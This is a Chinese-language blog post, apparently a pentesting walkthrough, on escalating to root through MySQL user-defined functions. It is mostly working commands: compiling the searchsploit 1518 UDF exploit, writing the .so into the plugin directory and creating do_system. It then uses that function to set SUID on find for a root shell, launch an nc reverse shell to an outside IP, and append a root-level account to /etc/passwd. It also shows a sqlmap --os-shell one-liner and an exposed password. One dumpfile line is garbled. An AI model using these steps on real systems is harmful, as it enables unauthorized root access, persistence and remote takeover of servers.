第三方提权

第三方提权

MYSQL提权

mysql是root权限运行的,那么接下来就找mysql提权的方法.

8、mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!前提需要mysql是以root身份运行的。


mysql -uroot -pR@v3nSecurity
select version(); ---查看版本

首先看一下是否满足写入条件:

show global variables like 'secure%';

+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

查看插件目录:

show variables like '%plugin%';

+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+

查看能否远程登陆:

use mysql;
select user,host from user;

如果发现root用户允许远程登陆则直接利用MSF的mysql攻击代码即可。这里以不允许的情况下举例。
如果发现root用户不允许远程登陆,则不能利用MSF提权。

searchsploit -m 1518 //也可以使用lib_mysqludf_sys里的.so文件进行提权
gcc -g -c 1518.c
gcc -g -shared -o vicr.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

在mysql数据库中创建数据表vicr:

create table vicr(line longblob);

插入数据文件:

insert into vicr values(load_file('/tmp/vicr.so'));

dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:

select * from vicr into dumpfilesr/lib/mysql/plugin/vicr.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns string soname 'vicr.so';

这里的do_system可用sys_eval或sys_exec替换

查看以下创建的函数:

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system/sys_eval/sys_exec('chmod u+s /usr/bin/find');

这里执行的命令是什么取决于之前用什么名字创建的函数

执行find命令

find / -exec '/bin/sh' \;

select do_system('nc -nv 192.168.1.135 6677 -e /bin/bash');

openssl passwd vicr
YpIR51FecR9AY
select do_system('echo "vicr:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');


如果可以远程:
mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell

posted @ 2022-09-08 16:32  Morning|Star  阅读(34)  评论(0)    收藏  举报